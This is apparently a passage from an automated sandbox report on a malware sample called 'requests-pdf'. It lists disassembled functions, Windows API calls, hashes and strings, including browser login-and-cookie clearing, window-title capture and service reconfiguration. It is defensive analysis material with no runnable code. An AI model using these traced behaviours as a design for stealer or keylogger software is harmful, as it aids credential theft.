                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,?,00000000), ref: 024D49FE
                                                    • CloseHandle.KERNEL32(?,?,00000000,00000000,?,?,00000000), ref: 024D4A07
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                    • String ID:
                                                    • API String ID: 3360349984-0
                                                    • Opcode ID: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                    • Instruction ID: 858996052987490e1463ef3218ddf2b39c20fe490ce12c14d4ca9b066ee4f7c6
                                                    • Opcode Fuzzy Hash: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                    • Instruction Fuzzy Hash: 62418271208341AFC715EB61DC78D7FBBEAAF85310F00496EF89682291DA7099098E52
                                                    Function 0252013A Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000006,?,00000000,00000000,?,?,?,?,00000001,?,00000006,00000001,?,?), ref: 02520187
                                                    • MultiByteToWideChar.KERNEL32(?,00000001,00000006,?,00000000,?,?,?,?,00000001,?,00000006,00000001,?,?,?), ref: 02520210
                                                    • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,?,00000006,00000001,?,?,?,00000002,?), ref: 02520222
                                                    • __freea.LIBCMT ref: 0252022B
                                                      • Part of subcall function 02516D66: RtlAllocateHeap.NTDLL(00000000,0250468A,?), ref: 02516D98
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                    • String ID:
                                                    • API String ID: 2652629310-0
                                                    • Opcode ID: d6883ffe4d8719f2de826ec879274d1cc3acae2ccbd5fd9a5eba82e14a7f8a2b
                                                    • Instruction ID: 8dbcc72849da42a5701d85e732481fcf01b330715fd13003108b01503b647952
                                                    • Opcode Fuzzy Hash: d6883ffe4d8719f2de826ec879274d1cc3acae2ccbd5fd9a5eba82e14a7f8a2b
                                                    • Instruction Fuzzy Hash: 7E31DE72A0122AAFDB248FA4DC84EBE7BA6FF55714F040169FC04D61D0E735C954CBA4
                                                    Function 0040B806 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    • [Cleared browsers logins and cookies.], xrefs: 0040B8DE
                                                    • Cleared browsers logins and cookies., xrefs: 0040B8EF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Sleep
                                                    • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                    • API String ID: 3472027048-1236744412
                                                    • Opcode ID: c1d9957bbb0b6ffbc53675b18bda7a9e9a83474d3c872a81f0d626b3d463543d
                                                    • Instruction ID: 8ec9c8031b8ac0664cfb8a22ca307bf710261ddd843e88104a77dac6ce00e7b7
                                                    • Opcode Fuzzy Hash: c1d9957bbb0b6ffbc53675b18bda7a9e9a83474d3c872a81f0d626b3d463543d
                                                    • Instruction Fuzzy Hash: FA31891564C3816ACA11777514167EB6F958A93754F0884BFF8C4273E3DB7A480893EF
                                                    Function 00411524 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00412679
                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00412692
                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                    • Sleep.KERNEL32(00000BB8), ref: 004115C3
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpenQuerySleepValue
                                                    • String ID: @CG$exepath$BG
                                                    • API String ID: 4119054056-3221201242
                                                    • Opcode ID: bf5574a8b4d2f3dae16cf885c7a16fb18bb29924f8325a853eaea5d7e5cb2135
                                                    • Instruction ID: 48aadeccb903c06d46a934e3c92f1fe58b0119fffb77d403c20537554d94cb98
                                                    • Opcode Fuzzy Hash: bf5574a8b4d2f3dae16cf885c7a16fb18bb29924f8325a853eaea5d7e5cb2135
                                                    • Instruction Fuzzy Hash: C721F4A0B002042BD614B77A6C06ABF724E8BD1308F00457FBD4AA72D3DE7D9D4581AD
                                                    Function 024E178B Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E28C4: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 024E28E0
                                                      • Part of subcall function 024E28C4: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 024E28F9
                                                      • Part of subcall function 024E28C4: RegCloseKey.ADVAPI32(?), ref: 024E2904
                                                    • Sleep.KERNEL32(00000BB8), ref: 024E182A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpenQuerySleepValue
                                                    • String ID: @CG$exepath$BG
                                                    • API String ID: 4119054056-3221201242
                                                    • Opcode ID: 820c01e33afeab3fc0483e6c9ee435281bf1bbf0289cdfb463ea79f6631d800d
                                                    • Instruction ID: 88767317e34d634b405f2562d57ce6d33f35f6d42b587209cac430499f615323
                                                    • Opcode Fuzzy Hash: 820c01e33afeab3fc0483e6c9ee435281bf1bbf0289cdfb463ea79f6631d800d
                                                    • Instruction Fuzzy Hash: 1421F781B4020417EB24BA391C24A7F724F9BC1341F40457FEE2F97287EFA59D058AA5
                                                    Function 024D50B5 Relevance: 6.1, APIs: 4, Instructions: 79windowmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetEvent.KERNEL32(?,?), ref: 024D50D8
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 024D5188
                                                    • TranslateMessage.USER32(?), ref: 024D5197
                                                    • DispatchMessageA.USER32(?), ref: 024D51A2
                                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00473F80), ref: 024D525A
                                                    • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 024D5292
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                    • String ID:
                                                    • API String ID: 2956720200-0
                                                    • Opcode ID: 822d3e8355dfe554be3e3a6cb7f23e7c77d447b8df2c12cbc1a70b6fed0e93d0
                                                    • Instruction ID: 86bd94a0072a85a9951e51f9ab5a2bdd4870e8c1d2e40e8ea8eebcaf806c7b5b
                                                    • Opcode Fuzzy Hash: 822d3e8355dfe554be3e3a6cb7f23e7c77d447b8df2c12cbc1a70b6fed0e93d0
                                                    • Instruction Fuzzy Hash: 2721A0719043016BCA15FB75DC699AF7BA9AF86710F800A2EF95283195EF34D608CE52
                                                    Function 0041A98A Relevance: 6.1, APIs: 4, Instructions: 78timesleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: SystemTimes$Sleep__aulldiv
                                                    • String ID:
                                                    • API String ID: 188215759-0
                                                    • Opcode ID: 92a2626712ce3f1da2ce83f7d896a05a413d351f08ea1f1dcdc4cf9aeb41d840
                                                    • Instruction ID: 3b66203fd79088dfadce72ddbf0b0401c54eb4bd27628439374ba0e7aa9136f0
                                                    • Opcode Fuzzy Hash: 92a2626712ce3f1da2ce83f7d896a05a413d351f08ea1f1dcdc4cf9aeb41d840
                                                    • Instruction Fuzzy Hash: 9D215E725083009BC304DF65D98589FB7E8EFC8654F044A2EF589D3251EA34EA49CB63
                                                    Function 024EABF1 Relevance: 6.1, APIs: 4, Instructions: 78timesleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: SystemTimes$Sleep__aulldiv
                                                    • String ID:
                                                    • API String ID: 188215759-0
                                                    • Opcode ID: 92a2626712ce3f1da2ce83f7d896a05a413d351f08ea1f1dcdc4cf9aeb41d840
                                                    • Instruction ID: ae201a72ef79042a6f4a5f6616ac486e7721a5903a3aa0132141f0ca7f8466b1
                                                    • Opcode Fuzzy Hash: 92a2626712ce3f1da2ce83f7d896a05a413d351f08ea1f1dcdc4cf9aeb41d840
                                                    • Instruction Fuzzy Hash: BC2191725083109FC704DF29D88489FB7E9FFC8714F054A2EF58693250EA34EA099B63
                                                    Function 00409C4B Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0041B6E6: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041B6F6
                                                      • Part of subcall function 0041B6E6: GetWindowTextLengthW.USER32(00000000), ref: 0041B6FF
                                                      • Part of subcall function 0041B6E6: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041B729
                                                    • Sleep.KERNEL32(000001F4), ref: 00409C95
                                                    • Sleep.KERNEL32(00000064), ref: 00409D1F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Window$SleepText$ForegroundLength
                                                    • String ID: [ $ ]
                                                    • API String ID: 3309952895-93608704
                                                    • Opcode ID: f97a645a0d2da22bcac442ef33f0edb303259d95a1ef08cf99aa338e08c2de75
                                                    • Instruction ID: a5f4dc9a3e016f43683dc3f70dfd76a68f9d753ffdb665cb1c6be196efeb7d0c
                                                    • Opcode Fuzzy Hash: f97a645a0d2da22bcac442ef33f0edb303259d95a1ef08cf99aa338e08c2de75
                                                    • Instruction Fuzzy Hash: 4611C0325082005BD218FB25DC17AAEB7A8AF51708F40047FF542221E3EF39AE1986DF
                                                    Function 024EA053 Relevance: 6.1, APIs: 4, Instructions: 66serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002), ref: 024EA063
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000002), ref: 024EA077
                                                    • CloseServiceHandle.ADVAPI32(00000000), ref: 024EA084
                                                    • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 024EA0B9
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$Open$ChangeCloseConfigHandleManager
                                                    • String ID:
                                                    • API String ID: 110783151-0
                                                    • Opcode ID: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                    • Instruction ID: f44da28659bdd7208e8af4972529415f561fb0cd62c8fa9655a3aa38ae6aa522
                                                    • Opcode Fuzzy Hash: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                    • Instruction Fuzzy Hash: A001F9311442247AFA215F34AC5DF7B3EACDB466B2F000626F663921D2DA90CA41C961
                                                    Function 0041B58F Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041B6A5,00000000,00000000,00000000), ref: 0041B5CE
                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5EB
                                                    • WriteFile.KERNEL32(00000000,00000000,00000000,004061FD,00000000,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5FF
                                                    • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B60C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandlePointerWrite
                                                    • String ID:
                                                    • API String ID: 3604237281-0
                                                    • Opcode ID: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                    • Instruction ID: 083799f3d1f95ebfb1fb2bbe8bc155d348f6fb5eb74ded268dd94cd43ec1eb57
                                                    • Opcode Fuzzy Hash: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                    • Instruction Fuzzy Hash: 7501F5712092157FE6104F28AC89EBB739EEB86379F10063AF552C22C0D725CD8586BE
                                                    Function 024EB7F6 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,024EB90C,00000000,00000000,?), ref: 024EB835
                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB852
                                                    • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB866
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB873
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandlePointerWrite
                                                    • String ID:
                                                    • API String ID: 3604237281-0
                                                    • Opcode ID: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                    • Instruction ID: 32d62a4b47c9c24c3fed63a461445a0aff29311fd35c5066abe8cf6f2a555157
                                                    • Opcode Fuzzy Hash: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                    • Instruction Fuzzy Hash: 6001AD71209214BFFA144A25AC89E7B739CFB4627EF00463AFAA2D2391D761CC058660
                                                    Function 00442CD2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 18f7b12d8fbd203e6fe2bd4c4423912ade4cd6e2ab417617722edd39325a2eb9
                                                    • Instruction ID: c84c011be516b9a55b4d27d1f6be1bd7d35570b7e88518a67a440710abbdd315
                                                    • Opcode Fuzzy Hash: 18f7b12d8fbd203e6fe2bd4c4423912ade4cd6e2ab417617722edd39325a2eb9
                                                    • Instruction Fuzzy Hash: 780126F26097153EF62016796CC1F6B230CDF823B8B34073BF421652E1EAA8CC01506C
                                                    Function 00442D51 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 8aedf970bdaeb9d9c72bc659829c2e19759f544123fe9e87a80c2ba2346fca48
                                                    • Instruction ID: e6f180ecc181abb5a77ec057abe27f8575e00a75e8bcf6cd4df5c03139e47140
                                                    • Opcode Fuzzy Hash: 8aedf970bdaeb9d9c72bc659829c2e19759f544123fe9e87a80c2ba2346fca48
                                                    • Instruction Fuzzy Hash: E10121F2A092163EB62016797DD0DA7260DDF823B8374033BF421722D2EAA88C004068
                                                    Function 004380F5 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • ___BuildCatchObject.LIBVCRUNTIME ref: 0043810F
                                                      • Part of subcall function 0043805C: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0043808B
                                                      • Part of subcall function 0043805C: ___AdjustPointer.LIBCMT ref: 004380A6
                                                    • _UnwindNestedFrames.LIBCMT ref: 00438124
                                                    • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00438135
                                                    • CallCatchBlock.LIBVCRUNTIME ref: 0043815D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                                    • String ID:
                                                    • API String ID: 737400349-0
                                                    • Opcode ID: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                    • Instruction ID: 9a8277e88b86f5caaa8344fd0510e130f37262ecddc885b6c63592dc4fca678f
                                                    • Opcode Fuzzy Hash: c8370f5f766c88f9b882548d03e746073a9763e8d7037f7b78bb80a5d64990c6
                                                    • Instruction Fuzzy Hash: 09014032100208BBDF126E96CC45DEB7B69EF4C758F04500DFE4866121C739E861DBA8
                                                    Function 00447210 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue), ref: 00447242
                                                    • GetLastError.KERNEL32(?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000,00000364,?,00446F91), ref: 0044724E
                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004471B7,?,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000), ref: 0044725C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LibraryLoad$ErrorLast
                                                    • String ID:
                                                    • API String ID: 3177248105-0
                                                    • Opcode ID: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                    • Instruction ID: 998cab178f840ac2caaf283a3a5c141d85ba25b8fcaedc139a46ff50caeaa73b
                                                    • Opcode Fuzzy Hash: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                    • Instruction Fuzzy Hash: FC01D83261D7236BD7214B79AC44A577798BB05BA1B1106B2F906E3241D768D802C6D8
                                                    Function 02517477 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,0251741E,?,00000000,00000000,00000000,?,0251774A,00000006,0045D330), ref: 025174A9
                                                    • GetLastError.KERNEL32(?,0251741E,?,00000000,00000000,00000000,?,0251774A,00000006,0045D330,0045D328,0045D330,00000000,00000364,?,025171F8), ref: 025174B5
                                                    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0251741E,?,00000000,00000000,00000000,?,0251774A,00000006,0045D330,0045D328,0045D330,00000000), ref: 025174C3
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LibraryLoad$ErrorLast
                                                    • String ID:
                                                    • API String ID: 3177248105-0
                                                    • Opcode ID: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                    • Instruction ID: 98d915e2be5a50bdc843ef8542a680c1f64672e8474a7368cb1859221ca4b721
                                                    • Opcode Fuzzy Hash: ae052748fea16bfd64aed14cfe47709c8c773e0353203442da9e9610ebb1fa47
                                                    • Instruction Fuzzy Hash: F301D432A15326ABD7314A6CAC45E56BF98BB08AA2B100930F906D3241DB64D840CAEC
                                                    Function 0041B61A Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B647
                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B66C
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00403AF3,00465324), ref: 0041B67A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandleReadSize
                                                    • String ID:
                                                    • API String ID: 3919263394-0
                                                    • Opcode ID: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                    • Instruction ID: 0a6fce4b3becde4f67ebc64a516323d43c368a538d14007d95c0a1c89629aad3
                                                    • Opcode Fuzzy Hash: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                    • Instruction Fuzzy Hash: B3F0F6B12053047FE6101B25FC85FBF375CDB867A5F00023EFC01A22D1DA658C459179
                                                    Function 024EB881 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB8AE
                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB8D3
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,024D3D5A,00465324), ref: 024EB8E1
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateHandleReadSize
                                                    • String ID:
                                                    • API String ID: 3919263394-0
                                                    • Opcode ID: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                    • Instruction ID: 0470b5dc7d35fb403db3d4f5cc47727190c1d8093c5dc6c4ac5ad9bc93bb5c3c
                                                    • Opcode Fuzzy Hash: 5b639659936e0bf80293aa969ecd5facc1abbd81689efef7b5bf737102e1771e
                                                    • Instruction Fuzzy Hash: DEF0C2B12062097FF6112B21BC84FBB365CFB866AAF00023EF912A2282CA618C059570
                                                    Function 0041850C Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetSystemMetrics.USER32(0000004C), ref: 00418519
                                                    • GetSystemMetrics.USER32(0000004D), ref: 0041851F
                                                    • GetSystemMetrics.USER32(0000004E), ref: 00418525
                                                    • GetSystemMetrics.USER32(0000004F), ref: 0041852B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
